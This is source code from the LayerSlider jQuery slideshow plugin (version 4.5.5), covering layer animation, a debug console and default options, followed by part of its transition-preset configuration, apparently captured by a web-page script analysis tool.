                case "left":
                    s = -u.g.sliderWidth();
                    o = 0;
                    break;
                case "right":
                    s = u.g.sliderWidth();
                    o = 0;
                    break;
                case "top":
                    o = -u.g.sliderHeight();
                    s = 0;
                    break;
                case "bottom":
                    o = u.g.sliderHeight();
                    s = 0;
                    break
            }
            var a = e.data("slideoutdirection") ? e.data("slideoutdirection") : false;
            switch (a) {
                case "left":
                    s = u.g.sliderWidth();
                    o = 0;
                    break;
                case "right":
                    s = -u.g.sliderWidth();
                    o = 0;
                    break;
                case "top":
                    o = u.g.sliderHeight();
                    s = 0;
                    break;
                case "bottom":
                    o = -u.g.sliderHeight();
                    s = 0;
                    break
            }
            var f = parseInt(e.attr("class").split("ls-s")[1]);
            if (f == -1) {
                var l = parseInt(e.css("left"));
                var c = parseInt(e.css("top"));
                if (o < 0) {
                    o = -(u.g.sliderHeight() - c + 1)
                } else if (o > 0) {
                    o = c + e.outerHeight() + 1
                }
                if (s < 0) {
                    s = -(u.g.sliderWidth() - l + 1)
                } else if (s > 0) {
                    s = l + e.outerWidth() + 1
                }
                var h = 1
            } else {
                var p = u.g.curLayer.data("parallaxout") ? parseInt(u.g.curLayer.data("parallaxout")) : u.o.parallaxOut;
                var h = f * p
            }
            var d = e.data("durationout") ? parseInt(e.data("durationout")) : u.o.durationOut;
            var v = e.data("easingout") ? e.data("easingout") : u.o.easingOut;
            var m = "none";
            if (!u.g.ie78 && u.g.enableCSS3) {
                m = e.data("rotateout") ? e.data("rotateout") : 0
            }
            var g = "none";
            if (!u.g.ie78 && u.g.enableCSS3) {
                g = e.data("scaleout") ? e.data("scaleout") : 1
            }
            if (a == "fade" || !a && i == "fade") {
                if (!u.g.ie78) {
                    e.animate({
                        opacity: 0,
                        rotate: m,
                        scale: g
                    }, d, v)
                } else {
                    e.fadeOut(d, v)
                }
            } else {
                e.animate({
                    rotate: m,
                    scale: g,
                    marginLeft: -s * h,
                    marginTop: -o * h
                }, d, v)
            }
        };
        u.debug = function() {
            u.d = {
                history: e("<div>"),
                aT: function(t) {
                    e("<h1>" + t + "</h1>").appendTo(u.d.history)
                },
                aeU: function() {
                    e("<ul>").appendTo(u.d.history)
                },
                aU: function(t) {
                    e("<ul><li>" + t + "</li></ul>").appendTo(u.d.history)
                },
                aL: function(t) {
                    e("<li>" + t + "</li>").appendTo(u.d.history.find("ul:last"))
                },
                aUU: function(t) {
                    e("<ul>").appendTo(u.d.history.find("ul:last li:last"))
                },
                aF: function(e) {
                    u.d.history.find("ul:last li:last").hover(function() {
                        e.css({
                            border: "2px solid red",
                            marginTop: parseInt(e.css("margin-top")) - 2,
                            marginLeft: parseInt(e.css("margin-left")) - 2
                        })
                    }, function() {
                        e.css({
                            border: "0px",
                            marginTop: parseInt(e.css("margin-top")) + 2,
                            marginLeft: parseInt(e.css("margin-left")) + 2
                        })
                    })
                },
                show: function() {
                    if (!e("body").find(".ls-debug-console").length) {
                        if (!u.d.putData) {
                            u.d.aT("Init code");
                            u.d.aeU();
                            for (var t in u.o) {
                                u.d.aL(t + ": <strong>" + u.o[t] + "</strong>")
                            }
                            u.d.aT("LayerSlider Content");
                            u.d.aU("Number of slides found: <strong>" + e(s).find(".ls-layer").length + "</strong>");
                            e(s).find('.ls-inner .ls-layer, .ls-inner *[class*="ls-s"]').each(function() {
                                if (e(this).hasClass("ls-layer")) {
                                    u.d.aU("<strong>SLIDE " + (e(this).index() + 1) + "</strong>");
                                    u.d.aUU();
                                    u.d.aL("<strong>SLIDE " + (e(this).index() + 1) + " properties:</strong><br><br>")
                                } else {
                                    u.d.aU("����Layer ( " + e(this).prop("tagName") + " )");
                                    u.d.aF(e(this));
                                    u.d.aUU();
                                    u.d.aL("<strong>" + e(this).prop("tagName") + " layer properties:</strong><br><br>");
                                    u.d.aL("distance / class: <strong>" + e(this).attr("class") + "</strong>")
                                }
                                e.each(e(this).data(), function(e, t) {
                                    u.d.aL(e + ": <strong>" + t + "</strong>")
                                })
                            });
                            u.d.putData = true
                        }
                        var n = e("<div>").addClass("ls-debug-console").css({
                            position: "fixed",
                            zIndex: "10000000000",
                            top: "10px",
                            right: "10px",
                            width: "300px",
                            padding: "20px",
                            background: "black",
                            "border-radius": "10px",
                            height: e(window).height() - 60,
                            opacity: 0,
                            marginRight: 150
                        }).appendTo(e("body")).animate({
                            marginRight: 0,
                            opacity: .9
                        }, 600, "easeInOutQuad").click(function(t) {
                            if (t.shiftKey && t.altKey) {
                                e(this).animate({
                                    marginRight: 150,
                                    opacity: 0
                                }, 600, "easeInOutQuad", function() {
                                    e(this).remove()
                                })
                            }
                        });
                        var r = e("<div>").css({
                            width: "100%",
                            height: "100%",
                            overflow: "auto"
                        }).appendTo(n);
                        var i = e("<div>").css({
                            width: "100%"
                        }).appendTo(r).append(u.d.history)
                    }
                },
                hide: function() {
                    e("body").find(".ls-debug-console").remove()
                }
            };
            e(s).click(function(e) {
                if (e.shiftKey && e.altKey) {
                    u.d.show()
                }
            })
        };
        u.load()
    };
    var n = function(t) {
        var n = e("<div>"),
            r = false,
            i = false,
            s = ["perspective", "OPerspective", "msPerspective", "MozPerspective", "WebkitPerspective"];
        transform = ["transformStyle", "OTransformStyle", "msTransformStyle", "MozTransformStyle", "WebkitTransformStyle"];
        for (var o = s.length - 1; o >= 0; o--) {
            r = r ? r : n[0].style[s[o]] != undefined
        }
        for (var o = transform.length - 1; o >= 0; o--) {
            n.css("transform-style", "preserve-3d");
            i = i ? i : n[0].style[transform[o]] == "preserve-3d"
        }
        if (r && n[0].style[s[4]] != undefined) {
            n.attr("id", "ls-test3d").appendTo(t);
            r = n[0].offsetHeight === 3 && n[0].offsetLeft === 9;
            n.remove()
        }
        return r && i
    };
    var r = function(e, t, n) {
        var r = [];
        if (n == "forward") {
            for (var i = 0; i < e; i++) {
                for (var s = 0; s < t; s++) {
                    r.push(i + s * e)
                }
            }
        } else {
            for (var i = e - 1; i > -1; i--) {
                for (var s = t - 1; s > -1; s--) {
                    r.push(i + s * e)
                }
            }
        }
        return r
    };
    var i = function(e) {
        var t = 0;
        for (var n in e) {
            if (e.hasOwnProperty(n)) {
                ++t
            }
        }
        return t
    };
    var s = function() {
        uaMatch = function(e) {
            e = e.toLowerCase();
            var t = /(chrome)[ \/]([\w.]+)/.exec(e) || /(webkit)[ \/]([\w.]+)/.exec(e) || /(opera)(?:.*version|)[ \/]([\w.]+)/.exec(e) || /(msie) ([\w.]+)/.exec(e) || e.indexOf("compatible") < 0 && /(mozilla)(?:.*? rv:([\w.]+)|)/.exec(e) || [];
            return {
                browser: t[1] || "",
                version: t[2] || "0"
            }
        };
        var e = uaMatch(navigator.userAgent),
            t = {};
        if (e.browser) {
            t[e.browser] = true;
            t.version = e.version
        }
        if (t.chrome) {
            t.webkit = true
        } else if (t.webkit) {
            t.safari = true
        }
        return t
    };
    lsPrefixes = function(e, t) {
        var n = ["webkit", "khtml", "moz", "ms", "o", ""];
        var r = 0,
            i, s;
        while (r < n.length && !e[i]) {
            i = t;
            if (n[r] == "") {
                i = i.substr(0, 1).toLowerCase() + i.substr(1)
            }
            i = n[r] + i;
            s = typeof e[i];
            if (s != "undefined") {
                n = [n[r]];
                return s == "function" ? e[i]() : e[i]
            }
            r++
        }
    };
    t.global = {
        version: "4.5.5",
        isMobile: function() {
            if (navigator.userAgent.match(/Android/i) || navigator.userAgent.match(/webOS/i) || navigator.userAgent.match(/iPhone/i) || navigator.userAgent.match(/iPad/i) || navigator.userAgent.match(/iPod/i) || navigator.userAgent.match(/BlackBerry/i) || navigator.userAgent.match(/Windows Phone/i)) {
                return true
            } else {
                return false
            }
        },
        isHideOn3D: function(e) {
            if (e.css("padding-bottom") == "auto" || e.css("padding-bottom") == "none" || e.css("padding-bottom") == 0 || e.css("padding-bottom") == "0px") {
                return true
            } else {
                return false
            }
        },
        cssTransitions: !s().msie || s().msie && s().version > 9 ? true : false,
        ie78: s().msie && s().version < 9 ? true : false,
        normalWidth: false,
        normalHeight: false,
        normalRatio: false,
        goingNormal: false,
        paused: false,
        pausedByVideo: false,
        autoSlideshow: false,
        isAnimating: false,
        layersNum: null,
        prevNext: "next",
        slideTimer: null,
        sliderWidth: null,
        sliderHeight: null,
        slideDirections: {
            prev: {
                left: "right",
                right: "left",
                top: "bottom",
                bottom: "top"
            },
            next: {
                left: "left",
                right: "right",
                top: "top",
                bottom: "bottom"
            }
        },
        v: {
            d: 500,
            fo: 750,
            fi: 500
        }
    };
    t.options = {
        autoStart: true,
        firstLayer: 1,
        twoWaySlideshow: true,
        keybNav: true,
        imgPreload: true,
        navPrevNext: true,
        navStartStop: true,
        navButtons: true,
        skin: "glass",
        skinsPath: "/layerslider/skins/",
        pauseOnHover: true,
        globalBGColor: "transparent",
        globalBGImage: false,
        animateFirstLayer: true,
        yourLogo: false,
        yourLogoStyle: "left: -10px; top: -10px;",
        yourLogoLink: false,
        yourLogoTarget: "_blank",
        touchNav: true,
        loops: 0,
        forceLoopNum: true,
        autoPlayVideos: true,
        autoPauseSlideshow: "auto",
        youtubePreview: "maxresdefault.jpg",
        responsive: true,
        randomSlideshow: false,
        responsiveUnder: 0,
        sublayerContainer: 0,
        thumbnailNavigation: "hover",
        tnWidth: 100,
        tnHeight: 60,
        tnContainerWidth: "60%",
        tnActiveOpacity: 35,
        tnInactiveOpacity: 100,
        hoverPrevNext: true,
        hoverBottomNav: false,
        showBarTimer: false,
        showCircleTimer: true,
        optimizeForMobile: true,
        optimizeForIE78: true,
        allowFullScreenMode: false,
        cbInit: function(e) {},
        cbStart: function(e) {},
        cbStop: function(e) {},
        cbPause: function(e) {},
        cbAnimStart: function(e) {},
        cbAnimStop: function(e) {},
        cbPrev: function(e) {},
        cbNext: function(e) {},
        slideDirection: "right",
        slideDelay: 4e3,
        parallaxIn: .45,
        parallaxOut: .45,
        durationIn: 1e3,
        durationOut: 1e3,
        easingIn: "easeInOutQuint",
        easingOut: "easeInOutQuint",
        delayIn: 0,
        delayOut: 0
    }
})(jQuery)
#2 JavaScript::Eval (size: 49790) - SHA256: 8875436a6f835d562a0e6bce70a10aa9b0787201a5c52bcf33ac7d1803a755ff
var layerSliderTransitions = {
    t2d: [{
        name: "Sliding from right",
        rows: 1,
        cols: 1,
        tile: {
            delay: 0,
            sequence: "forward"
        },
        transition: {
            type: "slide",
            easing: "easeInOutQuad",
            duration: 1e3,
            direction: "left"
        }
    }, {
        name: "Sliding from left",
        rows: 1,
        cols: 1,
        tile: {
            delay: 0,
            sequence: "forward"
        },
        transition: {
            type: "slide",
            easing: "easeInOutQuad",
            duration: 1e3,
            direction: "right"
        }
    }, {
        name: "Sliding from bottom",
        rows: 1,
        cols: 1,
        tile: {
            delay: 0,
            sequence: "forward"
        },
        transition: {
            type: "slide",
            easing: "easeInOutQuad",
            duration: 1e3,
            direction: "top"
        }
    }, {
        name: "Sliding from top",
        rows: 1,
        cols: 1,
        tile: {
            delay: 0,
            sequence: "forward"
        },
        transition: {
            type: "slide",
            easing: "easeInOutQuad",
            duration: 1e3,
            direction: "bottom"
        }
    }, {
        name: "Crossfading",
        rows: 1,
        cols: 1,
        tile: {
            delay: 0,
            sequence: "forward"
        },
        transition: {
            type: "fade",
            easing: "easeInOutQuad",
            duration: 1e3,
            direction: "left"
        }
    }, {
        name: "Fading tiles forward",
        rows: [2, 4],
        cols: [4, 7],
        tile: {
            delay: 30,
            sequence: "forward"
        },
        transition: {
            type: "fade",
            easing: "easeOutQuart",
            duration: 1e3,
            direction: "left"
        }
    }, {
        name: "Fading tiles reverse",
        rows: [2, 4],
        cols: [4, 7],
        tile: {
            delay: 30,
            sequence: "reverse"
        },
        transition: {
            type: "fade",
            easing: "easeOutQuart",
            duration: 1e3,
            direction: "left"
        }
    }, {
        name: "Fading tiles col-forward",
        rows: [2, 4],
        cols: [4, 7],
        tile: {
            delay: 30,
            sequence: "col-forward"
        },
        transition: {
            type: "fade",
            easing: "easeOutQuart",
            duration: 1e3,
            direction: "left"
        }
    }, {
        name: "Fading tiles col-reverse",
        rows: [2, 4],
        cols: [4, 7],
        tile: {
            delay: 30,
            sequence: "col-reverse"
        },
        transition: {
            type: "fade",
            easing: "easeOutQuart",
            duration: 1e3,
            direction: "left"
        }
    }, {
        name: "Fading tiles (random)",
        rows: [2, 4],
        cols: [4, 7],
        tile: {
            delay: 30,
            sequence: "random"
        },
        transition: {
            type: "fade",
            easing: "easeOutQuart",
            duration: 1e3,
            direction: "left"
        }
    }, {
        name: "Smooth fading from right",
        rows: 1,
        cols: 35,
        tile: {
            delay: 25,
            sequence: "reverse"
        },
        transition: {
            type: "fade",
            easing: "linear",
            duration: 750,
            direction: "left"
        }
    }, {
        name: "Smooth fading from left",
        rows: 1,
        cols: 35,
        tile: {
            delay: 25,
            sequence: "forward"
        },
        transition: {
            type: "fade",
            easing: "easeInOutQuart",
            duration: 750,
            direction: "left"
        }
    }, {
        name: "Smooth fading from bottom",
        rows: 35,
        cols: 1,
        tile: {
            delay: 25,
            sequence: "col-reverse"
        },
        transition: {
            type: "fade",
            easing: "easeInOutQuart",
            duration: 750,
            direction: "left"
        }
    }, {
        name: "Smooth fading from top",
        rows: 35,
        cols: 1,
        tile: {
            delay: 25,
            sequence: "col-forward"
        },
        transition: {
            type: "fade",
            easing: "easeInOutQuart",
            duration: 750,
            direction: "left"
        }
    }, {
        name: "Smooth sliding from right",
        rows: 1,
        cols: 25,
        tile: {
            delay: 30,
            sequence: "reverse"
        },
        transition: {
            type: "slide",
            easing: "easeInOutQuart",
            duration: 350,
            direction: "left"
        }
    }, {
        name: "Smooth sliding from left",
        rows: 1,
        cols: 25,
        tile: {
            delay: 30,
            sequence: "forward"
        },
        transition: {
            type: "slide",
            easing: "easeInOutQuart",
            duration: 350,
            direction: "right"
        }
    }, {
        name: "Smooth sliging from bottom",
        rows: 25,
        cols: 1,
        tile: {
            delay: 30,
            sequence: "col-reverse"
        },
        transition: {
            type: "slide",
            easing: "easeInOutQuart",
            duration: 350,
            direction: "top"
        }
    }, {
        name: "Smooth sliding from top",
        rows: 25,
        cols: 1,
        tile: {
            delay: 30,
            sequence: "col-forward"
        },
        transition: {
            type: "slide",
            easing: "easeInOutQuart",
            duration: 350,
            direction: "bottom"
        }
    }, {
        name: "Sliding tiles to right (random)",
        rows: [2, 4],
        cols: [4, 7],
        tile: {
            delay: 50,
            sequence: "random"
        },
        transition: {
            type: "slide",
            easing: "easeOutQuart",
            duration: 500,
            direction: "right"
        }
    }, {
        name: "Sliding tiles to left (random)",
        rows: [2, 4],
        cols: [4, 7],
        tile: {
            delay: 50,
            sequence: "random"
        },
        transition: {
            type: "slide",
            easing: "easeOutQuart",
            duration: 500,
            direction: "left"
        }
    }, {
        name: "Sliding tiles to bottom (random)",
        rows: [2, 4],
        cols: [4, 7],
        tile: {
            delay: 50,
            sequence: "random"
        },
        transition: {
            type: "slide",
            easing: "easeOutQuart",
            duration: 500,
            direction: "bottom"
        }
    }, {
        name: "Sliding tiles to top (random)",
        rows: [2, 4],
        cols: [4, 7],
        tile: {
            delay: 50,
            sequence: "random"
        },
        transition: {
            type: "slide",
            easing: "easeOutQuart",
            duration: 500,
            direction: "top"
        }
    }, {
        name: "Sliding random tiles to random directions",
        rows: [2, 4],
        cols: [4, 7],
        tile: {
            delay: 50,
            sequence: "random"
        },
        transition: {
            type: "slide",
            easing: "easeOutQuart",
            duration: 500,
            direction: "random"
        }
    }, {
        name: "Sliding rows to right (forward)",
        rows: [7, 11],
        cols: 1,
        tile: {
            delay: 100,
            sequence: "forward"
        },
        transition: {
            type: "slide",
            easing: "easeInOutQuart",
            duration: 600,
            direction: "right"
        }
    }, {
        name: "Sliding rows to right (reverse)",
        rows: [7, 11],
        cols: 1,
        tile: {
            delay: 100,
            sequence: "reverse"
        },
        transition: {
            type: "slide",
            easing: "easeInOutQuart",
            duration: 600,
            direction: "right"
        }
    }, {
        name: "Sliding rows to right (random)",
        rows: [7, 11],
        cols: 1,
        tile: {
            delay: 100,
            sequence: "random"
        },
        transition: {
            type: "slide",
            easing: "easeInOutQuart",
            duration: 600,
            direction: "right"
        }
    }, {
        name: "Sliding rows to left (forward)",
        rows: [7, 11],
        cols: 1,
        tile: {
            delay: 100,
            sequence: "forward"
        },
        transition: {
            type: "slide",
            easing: "easeInOutQuart",
            duration: 600,
            direction: "left"
        }
    }, {
        name: "Sliding rows to left (reverse)",
        rows: [7, 11],
        cols: 1,
        tile: {
            delay: 100,
            sequence: "reverse"
        },
        transition: {
            type: "slide",
            easing: "easeInOutQuart",
            duration: 600,
            direction: "left"
        }
    }, {
        name: "Sliding rows to left (random)",
        rows: [7, 11],
        cols: 1,
        tile: {
            delay: 100,
            sequence: "random"
        },
        transition: {
            type: "slide",
            easing: "easeInOutQuart",
            duration: 600,
            direction: "left"
        }
    }, {
        name: "Sliding rows from top to bottom (forward)",
        rows: [7, 11],
        cols: 1,
        tile: {
            delay: 100,
            sequence: "forward"
        },
        transition: {
            type: "slide",
            easing: "easeInOutQuart",
            duration: 600,
            direction: "bottom"
        }
    }, {
        name: "Sliding rows from top to bottom (random)",
        rows: [7, 11],
        cols: 1,
        tile: {
            delay: 100,
            sequence: "random"
        },
        transition: {
            type: "slide",
            easing: "easeInOutQuart",
            duration: 600,
            direction: "bottom"
        }
    }, {
        name: "Sliding rows from bottom to top (reverse)",
        rows: [7, 11],
        cols: 1,
        tile: {
            delay: 100,
            sequence: "reverse"
        },
        transition: {
            type: "slide",
            easing: "easeInOutQuart",
            duration: 600,
            direction: "top"
        }
    }, {
        name: "Sliding rows from bottom to top (random)",
        rows: [7, 11],
        cols: 1,
        tile: {
            delay: 100,
            sequence: "random"
        },
        transition: {
            type: "slide",
            easing: "easeInOutQuart",
            duration: 600,
            direction: "top"
        }
    }, {
        name: "Sliding columns to bottom (forward)",
        rows: 1,
        cols: [12, 16],
        tile: {
            delay: 75,
            sequence: "forward"
        },
        transition: {
            type: "slide",
            easing: "easeInOutQuart",
            duration: 600,
            direction: "bottom"
        }
    }, {
        name: "Sliding columns to bottom (reverse)",
        rows: 1,
        cols: [12, 16],
        tile: {
            delay: 75,
            sequence: "reverse"
        },
        transition: {
            type: "slide",
            easing: "easeInOutQuart",
            duration: 600,
            direction: "bottom"
        }
    }, {
        name: "Sliding columns to bottom (random)",
        rows: 1,
        cols: [12, 16],
        tile: {
            delay: 75,
            sequence: "random"
        },
        transition: {
            type: "slide",
            easing: "easeInOutQuart",
            duration: 600,
            direction: "bottom"
        }
    }, {
        name: "Sliding columns to top (forward)",
        rows: 1,
        cols: [12, 16],
        tile: {
            delay: 75,
            sequence: "forward"
        },
        transition: {
            type: "slide",
            easing: "easeInOutQuart",
            duration: 600,
            direction: "top"
        }
    }, {
        name: "Sliding columns to top (reverse)",
        rows: 1,
        cols: [12, 16],
        tile: {
            delay: 75,
            sequence: "reverse"
        },
        transition: {
            type: "slide",
            easing: "easeInOutQuart",
            duration: 600,
            direction: "top"
        }
    }, {
        name: "Sliding columns to top (random)",
        rows: 1,
        cols: [12, 16],
        tile: {
            delay: 75,
            sequence: "random"
        },
        transition: {
            type: "slide",
            easing: "easeInOutQuart",
            duration: 600,
            direction: "top"
        }
    }, {
        name: "Sliding columns from left to right (forward)",
        rows: 1,
        cols: [12, 16],
        tile: {
            delay: 75,
            sequence: "forward"
        },
        transition: {
            type: "slide",
            easing: "easeInOutQuart",
            duration: 600,
            direction: "right"
        }
    }, {
        name: "Sliding columns from left to right (random)",
        rows: 1,
        cols: [12, 16],
        tile: {
            delay: 75,
            sequence: "random"
        },
        transition: {
            type: "slide",
            easing: "easeInOutQuart",
            duration: 600,
            direction: "right"
        }
    }, {
        name: "Sliding columns from right to left (reverse)",
        rows: 1,
        cols: [12, 16],
        tile: {
            delay: 75,
            sequence: "reverse"
        },
        transition: {
            type: "slide",
            easing: "easeInOutQuart",
            duration: 600,
            direction: "left"
        }
    }, {
        name: "Sliding columns from right to left (random)",
        rows: 1,
        cols: [12, 16],
        tile: {
            delay: 75,
            sequence: "random"
        },
        transition: {
            type: "slide",
            easing: "easeInOutQuart",
            duration: 600,
            direction: "left"
        }
    }, {
        name: "Fading and sliding tiles to right (random)",
        rows: [2, 4],
        cols: [4, 7],
        tile: {
            delay: 50,
            sequence: "random"
        },
        transition: {
            type: "mixed",
            easing: "easeOutQuart",
            duration: 500,
            direction: "right"
        }
    }, {
        name: "Fading and sliding tiles to left (random)",
        rows: [2, 4],
        cols: [4, 7],
        tile: {
            delay: 50,
            sequence: "random"
        },
        transition: {
            type: "mixed",
            easing: "easeOutQuart",
            duration: 500,
            direction: "left"
        }
    }, {
        name: "Fading and sliding tiles to bottom (random)",
        rows: [2, 4],
        cols: [4, 7],
        tile: {
            delay: 50,
            sequence: "random"
        },
        transition: {
            type: "mixed",
            easing: "easeOutQuart",
            duration: 500,
            direction: "bottom"
        }
    }, {
        name: "Fading and sliding tiles to top (random)",
        rows: [2, 4],
        cols: [4, 7],
        tile: {
            delay: 50,
            sequence: "random"
        },
        transition: {
            type: "mixed",
            easing: "easeOutQuart",
            duration: 500,
            direction: "top"
        }
    }, {
        name: "Fading and sliding random tiles to random directions",
        rows: [2, 4],
        cols: [4, 7],
        tile: {
            delay: 50,
            sequence: "random"
        },
        transition: {
            type: "mixed",
            easing: "easeOutQuart",
            duration: 500,
            direction: "random"
        }
    }, {
        name: "Fading and sliding tiles from top-left (forward)",
        rows: [2, 4],
        cols: [4, 7],
        tile: {
            delay: 50,
            sequence: "forward"
        },
        transition: {
            type: "mixed",
            easing: "easeOutQuart",
            duration: 500,
            direction: "topleft"
        }
    }, {
        name: "Fading and sliding tiles from bottom-right (reverse)",
        rows: [2, 4],
        cols: [4, 7],
        tile: {
            delay: 50,
            sequence: "reverse"
        },
        transition: {
            type: "mixed",
            easing: "easeOutQuart",
            duration: 500,
            direction: "bottomright"
        }
    }, {
        name: "Fading and sliding tiles from top-right (random)",
        rows: [2, 4],
        cols: [4, 7],
        tile: {
            delay: 50,
            sequence: "random"
        },
        transition: {
            type: "mixed",
            easing: "easeOutQuart",
            duration: 500,
            direction: "topright"
        }
    }, {
        name: "Fading and sliding tiles from bottom-left (random)",
        rows: [2, 4],
        cols: [4, 7],
        tile: {
            delay: 50,
            sequence: "random"
        },
        transition: {
            type: "mixed",
            easing: "easeOutQuart",
            duration: 500,
            direction: "bottomleft"
        }
    }, {
        name: "Fading and sliding rows to right (forward)",
        rows: [7, 11],
        cols: 1,
        tile: {
            delay: 100,
            sequence: "forward"
        },
        transition: {
            type: "mixed",
            easing: "easeInOutQuart",
            duration: 600,
            direction: "right"
        }
    }, {
        name: "Fading and sliding rows to right (reverse)",
        rows: [7, 11],
        cols: 1,
        tile: {
            delay: 100,
            sequence: "reverse"
        },
        transition: {
            type: "mixed",
            easing: "easeInOutQuart",
            duration: 600,
            direction: "right"
        }
    }, {
        name: "Fading and sliding rows to right (random)",
        rows: [7, 11],
        cols: 1,
        tile: {
            delay: 100,
            sequence: "random"
        },
        transition: {
            type: "mixed",
            easing: "easeInOutQuart",
            duration: 600,
            direction: "right"
        }
    }, {
        name: "Fading and sliding rows to left (forward)",
        rows: [7, 11],
        cols: 1,
        tile: {
            delay: 100,
            sequence: "forward"
        },
        transition: {
            type: "mixed",
            easing: "easeInOutQuart",
            duration: 600,
            direction: "left"
        }
    }, {
        name: "Fading and sliding rows to left (reverse)",
        rows: [7, 11],
        cols: 1,
        tile: {
            delay: 100,
            sequence: "reverse"
        },
        transition: {
            type: "mixed",
            easing: "easeInOutQuart",
            duration: 600,
            direction: "left"
        }
    }, {
        name: "Fading and sliding rows to left (random)",
        rows: [7, 11],
        cols: 1,
        tile: {
            delay: 100,
            sequence: "random"
        },
        transition: {
            type: "mixed",
            easing: "easeInOutQuart",
            duration: 600,
            direction: "left"
        }
    }, {
        name: "Fading and sliding rows from top to bottom (forward)",
        rows: [7, 11],
        cols: 1,
        tile: {
            delay: 100,
            sequence: "forward"
        },
        transition: {
            type: "mixed",
            easing: "easeInOutQuart",
            duration: 600,
            direction: "bottom"
        }
    }, {
        name: "Fading and sliding rows from top to bottom (random)",
        rows: [7, 11],
        cols: 1,
        tile: {
            delay: 100,
            sequence: "random"
        },
        transition: {
            type: "mixed",
            easing: "easeInOutQuart",
            duration: 600,
            direction: "bottom"
        }
    }, {
        name: "Fading and sliding rows from bottom to top (reverse)",
        rows: [7, 11],
        cols: 1,
        tile: {
            delay: 100,
            sequence: "reverse"
        },
        transition: {
            type: "mixed",
            easing: "easeInOutQuart",
            duration: 600,
            direction: "top"
        }
    }, {
        name: "Fading and sliding rows from bottom to top (random)",
        rows: [7, 11],
        cols: 1,
        tile: {
            delay: 100,
            sequence: "random"
        },
        transition: {
            type: "mixed",
            easing: "easeInOutQuart",
            duration: 600,
            direction: "top"
        }
    }, {
        name: "Fading and sliding columns to bottom (forward)",
        rows: 1,
        cols: [12, 16],
        tile: {
            delay: 75,
            sequence: "forward"
        },
        transition: {
            type: "mixed",
            easing: "easeInOutQuart",
            duration: 600,
            direction: "bottom"
        }
    }, {
        name: "Fading and sliding columns to bottom (reverse)",
        rows: 1,
        cols: [12, 16],
        tile: {
            delay: 75,
            sequence: "reverse"
        },
        transition: {
            type: "mixed",
            easing: "easeInOutQuart",
            duration: 600,
            direction: "bottom"
        }
    }, {
        name: "Fading and sliding columns to bottom (random)",
        rows: 1,
        cols: [12, 16],
        tile: {
            delay: 75,
            sequence: "random"
        },
        transition: {
            type: "mixed",
            easing: "easeInOutQuart",
            duration: 600,
            direction: "bottom"
        }
    }, {
        name: "Fading and sliding columns to top (forward)",
        rows: 1,
        cols: [12, 16],
        tile: {
            delay: 75,
            sequence: "forward"
        },
        transition: {
            type: "mixed",
            easing: "easeInOutQuart",
            duration: 600,
            direction: "top"
        }
    }, {
        name: "Fading and sliding columns to top (reverse)",
        rows: 1,
        cols: [12, 16],
        tile: {
            delay: 75,
            sequence: "reverse"
        },
        transition: {
            type: "mixed",
            easing: "easeInOutQuart",
            duration: 600,
            direction: "top"
        }
    }, {
        name: "Fading and sliding columns to top (random)",
        rows: 1,
        cols: [12, 16],
        tile: {
            delay: 75,
            sequence: "random"
        },
        transition: {
            type: "mixed",
            easing: "easeInOutQuart",
            duration: 600,
            direction: "top"
        }
    }, {
        name: "Fading and sliding columns from left to right (forward)",
        rows: 1,
        cols: [12, 16],
        tile: {
            delay: 75,
            sequence: "forward"
        },
        transition: {
            type: "mixed",
            easing: "easeInOutQuart",
            duration: 600,
            direction: "right"
        }
    }, {
        name: "Fading and sliding columns from left to right (random)",
        rows: 1,
        cols: [12, 16],
        tile: {
            delay: 75,
            sequence: "random"
        },
        transition: {
            type: "mixed",
            easing: "easeInOutQuart",
            duration: 600,
            direction: "right"
        }
    }, {
        name: "Fading and sliding columns from right to left (reverse)",
        rows: 1,
        cols: [12, 16],
        tile: {
            delay: 75,
            sequence: "reverse"
        },
        transition: {
            type: "mixed",
            easing: "easeInOutQuart",
            duration: 600,
            direction: "left"
        }
    }, {
        name: "Fading and sliding columns from right to left (random)",
        rows: 1,
        cols: [12, 16],
        tile: {
            delay: 75,
            sequence: "random"
        },
        transition: {
            type: "mixed",
            easing: "easeInOutQuart",
            duration: 600,
            direction: "left"
        }
    }, {
        name: "Carousel",
        rows: 1,
        cols: 1,
        tile: {
            delay: 0,
            sequence: "forward"
        },
        transition: {
            type: "mixed",
            easing: "easeInOutQuad",
            duration: 750,
            direction: "left",
            scale: .5
        }
    }, {
        name: "Carousel rows",
        rows: 4,
        cols: 1,
        tile: {
            delay: 50,
            sequence: "forward"
        },
        transition: {
            type: "mixed",
            easing: "easeInOutQuad",
            duration: 750,
            direction: "right",
            scale: .5
        }
    }, {
        name: "Carousel cols",
        rows: 1,
        cols: 4,
        tile: {
            delay: 50,
            sequence: "forward"
        },
        transition: {
            type: "mixed",
            easing: "easeInOutQuad",
            duration: 750,
            direction: "right",
            scale: .5
        }
    }, {
        name: "Carousel tiles horizontal",
        rows: 3,
        cols: 4,
        tile: {
            delay: 35,
            sequence: "forward"
        },
        transition: {
            type: "mixed",
            easing: "easeInOutQuad",
            duration: 750,
            direction: "left",
            scale: .5,
            rotateY: 90
        }
    }, {
        name: "Carousel tiles vertical",
        rows: 3,
        cols: 4,
        tile: {
            delay: 35,
            sequence: "forward"
        },
        transition: {
            type: "mixed",
            easing: "easeInOutQuad",
            duration: 750,
            direction: "top",
            scale: .5,
            rotateX: -90
        }
    }, {
        name: "Carousel-mirror tiles horizontal",
        rows: 3,
        cols: 4,
        tile: {
            delay: 15,
            sequence: "forward"
        },
        transition: {
            type: "mixed",
            easing: "easeInOutQuad",
            duration: 750,
            direction: "left",
            scale: .5,
            rotateY: 90
        }
    }, {
        name: "Carousel-mirror tiles vertical",
        rows: 3,
        cols: 4,
        tile: {
            delay: 15,
            sequence: "forward"
        },
        transition: {
            type: "mixed",
            easing: "easeInOutQuad",
            duration: 750,
            direction: "top",
            scale: .5,
            rotateX: -90
        }
    }, {
        name: "Carousel mirror rows",
        rows: 4,
        cols: 1,
        tile: {
            delay: 50,
            sequence: "forward"
        },
        transition: {
            type: "mixed",
            easing: "easeInOutQuad",
            duration: 750,
            direction: "right",
            scale: .5
        }
    }, {
        name: "Carousel mirror cols",
        rows: 1,
        cols: 4,
        tile: {
            delay: 50,
            sequence: "forward"
        },
        transition: {
            type: "mixed",
            easing: "easeInOutQuad",
            duration: 750,
            direction: "left",
            scale: .5
        }
    }, {
        name: "Turning tile from left",
        rows: 1,
        cols: 1,
        tile: {
            delay: 0,
            sequence: "forward"
        },
        transition: {
            type: "slide",
            easing: "easeOutQuart",
            duration: 750,
            direction: "right",
            rotateY: 90
        }
    }, {
        name: "Turning tile from right",
        rows: 1,
        cols: 1,
        tile: {
